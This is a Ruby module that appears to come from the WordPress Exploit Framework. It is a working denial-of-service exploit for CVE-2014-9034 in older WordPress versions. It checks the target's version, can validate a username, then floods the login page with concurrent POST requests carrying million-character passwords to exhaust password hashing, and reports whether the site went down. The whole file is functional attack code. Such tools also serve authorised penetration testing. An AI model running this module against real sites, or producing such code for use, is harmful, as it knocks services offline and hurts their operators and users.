# frozen_string_literal: true

class Wpxf::Auxiliary::LongPasswordDos < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpClient
  include Wpxf::WordPress::Login
  include Wpxf::WordPress::User

  def initialize
    super

    update_info(
      name: 'Long Password DoS',
      desc: 'WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, '\
            'and 4.x before 4.0.1 allows remote attackers to cause a denial '\
            'of service via a long password that is improperly handled during '\
            'hashing.',
      author: [
        'Javier Nieto Arevalo',  # Vulnerability disclosure
        'Andres Rojas Guerrero', # Vulnerability disclosure
        'rastating'              # WPXF module
      ],
      references: [
        ['CVE', '2014-9034'],
        ['WPVDB', '7681'],
        ['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034']
      ],
      date: 'Nov 20 2014'
    )

    register_options([
      IntegerOption.new(
        name: 'pass_length',
        required: true,
        desc: 'Length of the password to use',
        default: 1_000_000
      ),
      IntegerOption.new(
        name: 'max_requests',
        required: true,
        desc: 'Max number of requests to send',
        default: 200
      ),
      IntegerOption.new(
        name: 'http_client_timeout',
        desc: 'Max wait time in seconds for HTTP responses',
        default: 5,
        required: true
      ),
      StringOption.new(
        name: 'username',
        desc: 'The username to attempt to login with',
        required: true,
        default: ''
      ),
      BooleanOption.new(
        name: 'validate_user',
        desc: 'Validate the specified username',
        required: true,
        default: true
      )
    ])
  end

  def should_validate_user?
    normalized_option_value('validate_user')
  end

  def username
    normalized_option_value('username')
  end

  def max_requests
    normalized_option_value('max_requests')
  end

  def pass_length
    normalized_option_value('pass_length')
  end

  def check
    target_version = wordpress_version
    vuln_ranges = [
      [Gem::Version.new('0'), Gem::Version.new('3.7.5')],
      [Gem::Version.new('3.8'), Gem::Version.new('3.8.5')],
      [Gem::Version.new('3.9'), Gem::Version.new('3.9.3')],
      [Gem::Version.new('4.0'), Gem::Version.new('4.0.1')]
    ]

    return :unknown if target_version.nil?

    vuln_ranges.each do |range|
      if target_version >= range[0] && target_version < range[1]
        return :vulnerable
      end
    end

    :safe
  end

  def run
    return false unless super

    if should_validate_user?
      emit_info "Checking if user \"#{username}\" exists..."
      unless wordpress_user_exists?(username)
        emit_error 'The specified user does not exist, aborting operation.'
        return
      end
    end

    emit_info "Generating payload..."
    pass = Wpxf::Utility::Text.rand_alpha(pass_length)
    opts = {
      url: wordpress_url_login,
      method: :post,
      body: wordpress_login_post_body(username, pass)
    }

    emit_info "Preparing #{max_requests} requests..."
    complete_requests = 0
    max_requests.times do
      queue_request(opts) do |res|
        complete_requests += 1
        emit_warning("#{complete_requests} requests executed") if complete_requests % 10 == 0
      end
    end

    emit_info "Beginning execution of #{max_requests} requests over #{max_http_concurrency} threads"
    execute_queued_requests
    emit_success 'Finished executing requests'

    if wordpress_and_online?
      emit_error "FAILED: #{full_uri} appears to still be online"
      return false
    else
      emit_success "#{full_uri} appears to be down"
      return true
    end
  end
end
